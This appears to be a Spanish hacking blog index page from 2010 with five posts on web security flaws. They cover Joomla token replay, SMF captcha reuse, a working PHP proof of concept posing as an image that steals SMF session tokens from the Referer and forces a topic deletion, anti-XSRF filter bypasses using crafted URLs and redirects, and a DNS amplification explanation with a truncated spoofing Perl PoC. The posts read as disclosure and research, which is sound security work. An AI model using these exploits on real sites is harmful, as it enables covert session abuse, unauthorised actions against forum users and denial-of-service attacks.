Xianur0`s Blog -

Bypass de filtros Anti-XSRF con token

Publicado el 21/06/2010 12:06:00 en Hacking Web. Total de votos: 2 Votar

Mecanismos de filtrado Anti-XSRF por token

Este mecanismo es muy utilizado por sistemas como son joomla y otros CMS's, pero pasa que curiosamente no tienen un control verdader sobre las acciones, por ejemplo, tenemos a joomla, se genera un token por pagina pero dicho token sigue siendo valido hasta que se genera otro, lo cual nos "repetir" el trafico y evadir ese mecanismo de seguridad, vamos a ver como es esto:

Primero se requiere una web joomla con encuesta (en este caso tome uno al azar en google), luego necesitamos Live HTTP Headers o alguna otra herramienta que nos permita repetir un paquete HTTP.

Realizamos la votacion y buscamos el envio en el live http headers, seleccionamos el paquete y damos en repetir:

Antes que nada se mira los resultados que habian:

Ahora Repetimos ese envio varias veces y veremos lo siguiente:

Aumentamos el elemento por el cual votamos (En este caso "Otros"), de este modo ya sabemos que los tokens de joomla no se generan despues de cada accion, solo cuando se abre ciertas paginas, de este modo si podemos obtener 1 token, podemos reutilizarlo (similar a lo que se puede hacer en un SMF y sistemas similares).

Bytez - Xianur0

Comentarios: 4 | Leer comentarios

Simple Machines Forum <= 2.0 RC3 Captcha "bypass"

Publicado el 11/06/2010 12:06:00 en Hacking General. Total de votos: 3 Votar

Bueno este es otro de esos bugs que simplemente uno no se imagina el por que diseñaron el sistema asi, pero bue...

El captcha del SMF (action=verificationcode) basicamente lo que hace es generar un unico codigo, de modo que podemos utilizar dicho codigo en todas las consultas futuras, es decir, por ejemplo, si se logra que en la misma session se cambie la IP, esto podria permitir crear multiples usuarios unicamente contestando un unico captcha.
Del mism modo hay varios modulos que utilizan dicho captcha, de modo que todos ellos resultan afectados, por ejemplo el captcha para envio de PM's.

Estos captchas utilizan un seqnum, el cual del mismo modo es "adivinable", es decir teniendo un seqnum original bastaria con ir aumentando 100 o 10000 al numero inicial y esto permitira pasar ese filtrado (en el SMF se revisa que el seqnum sea >= al establecido, de modo que al ser mayor corresponderia).

Register.php:

		// Only generate a new code if one hasn't been set yet
		if (!isset($_SESSION['visual_verification_code']))
		{
			// Skip I, J, L, O and Q.
			$character_range = array_merge(range('A', 'H'), array('K', 'M', 'N', 'P'), range('R', 'Z'));

			// Generate a new code.
			$_SESSION['visual_verification_code'] = '';
			for ($i = 0; $i < 5; $i++)
				$_SESSION['visual_verification_code'] .= $character_range[array_rand($character_range)];
		}

saludos! ;)

Comentarios: 6 | Leer comentarios

Simple Machines Forum <= 2.0 RC3 Sesc theft (XSRF)

Publicado el 09/06/2010 12:06:00 en Hacking General. Total de votos: 2 Votar

Vale, este "bug" es simple, y a decir verdad me parese bastante estupido, pero bueno... xD...

El SMF en muchas secciones agrega sesc, no es malo, pues ayuda a controlar los XSRF's, el problema se encuentra presisamente en eso, el mecanismo es bueno, pero la implementacion no tanto...

el sesc se genera unico por cada session que inicia un usuario, de modo que ese sesc se seguira usando para todo lo que haga el usuario mientras este logeado, luego ese sesc se agrega en algunas secciones en LA URL!

Esto permite a un atacante mediante muy poca ingenieria social obtener el sesc de un usuario, por ejemplo, diseñe un PoC, que simula ser una imagen, la podemos insertar en un post real, y cuando otro usuario cite un comentario del tema, y si esta activado el Topic Summary, se cargan las imagenes publicadas en el post dentro de esa seccion (Topic Summary), de modo que al cargar las imagenes se agrega un Referer (el cual, entre otras cosas contiene el sesc del usuario). Ahora la prueba de concepto un PHP:

<?php
// By Xianur0
$imagen = "imagen real.jpg";
error_reporting(0);
function borrar($path,$topic,$sesc) {
if(!preg_match("/index.php$/",$path)) $path = preg_replace("/\/([^\/]+)$/","/",$path);
header("Location: ".$path."?action=removetopic2;topic=".$topic.";sesc=".$sesc,TRUE,302);
}

function mostrarimagen($imagen) {
header("Content-Type: image/jpeg");
print file_get_contents($imagen);
}

if(isset($_SERVER['HTTP_REFERER']) && !empty($_SERVER['HTTP_REFERER']) && preg_match("/sesc=(.{32})/i",$_SERVER['HTTP_REFERER'],$matches) && preg_match("/topic=([^;]+)/i",$_SERVER['HTTP_REFERER'],$matchess) && preg_match("/^([^\?]+)/i",$_SERVER['HTTP_REFERER'],$matchesss)) {
$sesc = $matches[1];
$topic = $matchess[1];
$path = $matchesss[1];
borrar($path,$topic,$sesc);
exit;
}
mostrarimagen($imagen);
?>

ahora mediante un poco de .htaccess esta imagen quedara completamente oculta, solo queda insertarla en un post y esperar o convencer a algun usuario a citar algun post dentro del mensaje donde pusimos la image.

Si dicho usuario tiene permisos de borrar el post, el post sera borrado.

Desde luego mediante esta misma tecnica se pueden hacer otras cosas bastante mas malignas que borrar un post.

De momento no hay parche, luego programo algo... mientras tanto, no citen mensajes xD y/o desactiven el Topic Summary

Comentarios: 2 | Leer comentarios

Otra Evasion anti-xsrf (DDLR)

Publicado el 09/06/2010 12:06:00 en Hacking General. Total de votos: 3 Votar

Antes que nada el bug ya fue corregido, aun queda un detalle con ciertas imagenes, pero al rato o mañana queda listo al 100% ;)...

Bueno ahora va otro ejemplo de evasion de anti-XSRF, primero vamos a ver un ejemplo simple con: DDLR

El sistema de anti-xsrf tal y como ya se habia visto, redirecciona a la web especificada (filtrando algunas cosas), ya vimos como aprovechar eso para nuestro uso.

Ahora vamos a ver la solucion propuesta para solucionar lo visto, se agrego un &stop=true, al final de la url, de modo que si se ve ese parametro, se detiene y no se continua, una forma simple de evadirlo es la siguiente:

agregar un # al final de la url (los navegadores toman todo lo siguiente al # como una ubicacion dentro del documento actual) lo cual seria un equivalente (casi) a un comentario, de modo que el # y todo los siguiente no se envia al servidor, entonces de ese modo escapamos el &stop=true, y tenemos nuevamente el bug:

http://xianur0.diosdelared.com/index.php?%2576%256f%2574%256f=%256d%2561%2573%26%2569%2564%2578=4002%23

La redireccion seria:

http://xianur0.diosdelared.com/index.php?%76%6f%74%6f=%6d%61%73&%69%64%78=4002#&stop=true

listo, vulnerable de nuevo....

ahora suponiendo que se filtraran los #, tenemos otro truco para hacer que este sistema deje de funcionar como deberia, en el texto anterior comente que el Referer se hereda, en navegadores comunes, se hereda las veces que sean dentro de redirecciones, es decir, podemos hacer algo como esto:

1.htm (subido a http://localhost/1.htm)

<img src="redirect.php">

redirect.php (subido a http://localhost/redirect.php)

<?php
header("Location: http://www.diosdelared.com/redirect.php?go=http://xianur0.diosdelared.com/",TRUE,301);
?>

como veran, primero se hace un GET al redirect.php, el cual hace una redireccion a: http://www.diosdelared.com/redirect.php?go=http://xianur0.diosdelared.com/

(con estado 301)

y este, a su ves, redirecciona a: http://xianur0.diosdelared.com/

bueno resumiendo las cosas, al llegar a: http://xianur0.diosdelared.com/
llegara con el referer inicial (http://localhost/1.htm), apesar de pasar por varias redirecciones, el referer se conserva, entonces, que nos impide hacer nuestro propio redirect.php y eliminar cualquier sistema de proteccion colocado?

<?php
header("Location: http://xianur0.diosdelared.com/?voto=mas&idx=4002",TRUE,301);
?>

Ahora solo necesitamos llamar este php desde cualquier parte del blog, y esa url se enviara en todas las consultas (en todos los referer).

podemos colocar esa url como avatar, o dentro de cualquier otra parte del blog, por ejemplo dentro del css:

body {
	text-align: center;
	background-color: #000000;
	margin-top:0px;
	margin-bottom:11px;
	color:#666666;
/*
	backgro... [/url]

[/trombi]

Continúa aquí...

Comentarios: 3 | Leer comentarios

DNS Amplification (explicacion y PoC Perl)

Publicado el 08/06/2010 12:06:00 en Hacking General. Total de votos: 6 Votar

Net::RawIP es un modulo/libreria de perl, que nos permite hacer gran cantidad de cosas, entre las cuales esta enviar paquetes spoofeados (tcp, udp, icmp, generic), vamos a ver un ejemplo de ello, un PoC de DNS Amplification que me arme por ahi usando esta libreria.

Vamos a explicar la tecnica en cuestion (el codigo ya esta comentado xD)

El DNS Amplification aprovecha que el protocolo UDP no es orientado a conexiones, envia un paquete DNS con origen spoofeado (como es logico xD), a un servidor DNS cualquiera, este respondera a la victima.

¿por que es eficiente?

Vamos a dar un ejemplo con dig:

xianur0@Zer0-Null:~/Net-RawIP-0.25$ dig @192.168.1.254 . ANY

; <<>> DiG 9.6.1-P2 <<>> @192.168.1.254 . ANY
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 53160
;; flags: qr rd ra; QUERY: 1, ANSWER: 14, AUTHORITY: 0, ADDITIONAL: 11

;; QUESTION SECTION:
;.				IN	ANY

;; ANSWER SECTION:
.			452834	IN	NS	c.root-servers.net.
.			452834	IN	NS	e.root-servers.net.
.			452834	IN	NS	f.root-servers.net.
.			452834	IN	NS	d.root-servers.net.
.			452834	IN	NS	b.root-servers.net.
.			452834	IN	NS	j.root-servers.net.
.			452834	IN	NS	g.root-servers.net.
.			452834	IN	NS	l.root-servers.net.
.			452834	IN	NS	h.root-servers.net.
.			452834	IN	NS	k.root-servers.net.
.			452834	IN	NS	m.root-servers.net.
.			452834	IN	NS	a.root-servers.net.
.			452834	IN	NS	i.root-servers.net.
.			66297	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2010060800 1800 900 604800 86400

;; ADDITIONAL SECTION:
e.root-servers.net.	538845	IN	A	192.203.230.10
f.root-servers.net.	539272	IN	A	192.5.5.241
f.root-servers.net.	600142	IN	AAAA	2001:500:2f::f
d.root-servers.net.	538814	IN	A	128.8.10.90
b.root-servers.net.	538838	IN	A	192.228.79.201
j.root-servers.net.	538827	IN	A	192.58.128.30
j.root-servers.net.	600142	IN	AAAA	2001:503:c27::2:30
g.root-servers.net.	538716	IN	A	192.112.36.4
l.root-servers.net.	538832	IN	A	199.7.83.42
l.root-servers.net.	157464	IN	AAAA	2001:500:3::42
h.root-servers.net.	538823	IN	A	128.63.2.53

;; Query time: 1328 msec
;; SERVER: 192.168.1.254#53(192.168.1.254)
;; WHEN: Tue Jun  8 16:00:21 2010
;; MSG SIZE  rcvd: 497

es decir, nosotros solicitamos el registro any de un punto (root/raiz), y el servidor DNS nos respondio con el listado de los servidores DNS root de internet.

a cualquier servidor DNS que preguntemos esto por lo regular respondera con dicho listado. Ahora si nosotros enviamos un paquete DNS (como se ha dicho con el origen spoofeado xD) preguntando esto mismo, el servidor DNS respondera a la victima, por lo cual este ataque se amplifica (es mucho mayor lo que el servidor DNS envia que lo que nosotros enviamos).

Ahora va el PoC:

#!/usr/bin/perl

# By Xianur0
# uxmal666@gmail.com

use Net::DNS;
use Net::RawIP qw(:pcap);

print "\t\tD... [/url]

[/trombi]

Continúa aquí...

Comentarios: 2 | Leer comentarios

Ver: Siguientes 5

Xianur0`s Blog

Who is xianur0?

Sobre este blog:

Musica

Blogroll: 12

Perfil de xianur0

Patrocinadores:

Bypass de filtros Anti-XSRF con token

Simple Machines Forum <= 2.0 RC3 Captcha "bypass"

Simple Machines Forum <= 2.0 RC3 Sesc theft (XSRF)

Otra Evasion anti-xsrf (DDLR)

DNS Amplification (explicacion y PoC Perl)